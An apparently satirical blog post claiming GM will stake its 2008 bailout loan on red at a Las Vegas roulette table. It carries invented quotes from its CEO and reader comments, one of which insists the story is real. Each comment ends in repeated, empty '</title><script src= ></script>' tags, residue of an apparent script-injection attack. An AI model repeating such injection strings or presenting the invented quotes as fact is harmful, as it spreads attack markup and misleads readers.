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GM To Bet Bailout Money at a Vegas Casino
by Kris on 12/22/2008 (4)

Too big to fail and they know it.
Last week ailing General Motors was given a $9.4 billion bailout loan from Uncle Sam. The intent of this money was to keep General Motors afloat amidst our nation's current financial crisis. GM has others ideas.

"$9.4 billion is nice, but image how much nicer $18.8 billion would be?" rhetorically questioned GM CEO Rick Wagoner.

Executives at GM decided earlier today that they would take all the money given to them by the government and place a bet on red at a Los Vegas roulette table. Red was chosen because GM felt it would be symbolic of the fact they have been operating in the red for several years. This bet would have a 47.37% chance of winning and would double their money.

"We could pay off the government, give ourselves huge raises, increase our stock value, and finally put an end to this hybrid car nonsense," Wagoner said.

GM is not worried about the consequences of losing the bet, which would leave them once again facing the possibility of declaring bankruptcy and leave the jobs of over 266,000 GM employees in jeopardy.

"$9.4 million dollars doesn't change the fact that we are making second-rate vehicles that Americans don't want to buy," said Wagoner. "If we lose the money, it will just been sooner rather than later that we are forced to ask for a second bailout." isplay:none">

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1. by Tomas on 12/23/2008 4:25:24 AM
Is this a joke?isplay:n </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Motz on 12/23/2008 10:31:34 AM
No. This is real.isplay </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Fuck this bitch on 12/23/2008 10:36:46 AM
what kind of fucking idiot writing this shith="0 </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by Kris on 12/23/2008 8:39:50 PM
Mark, you just made me laugh out loud.ig </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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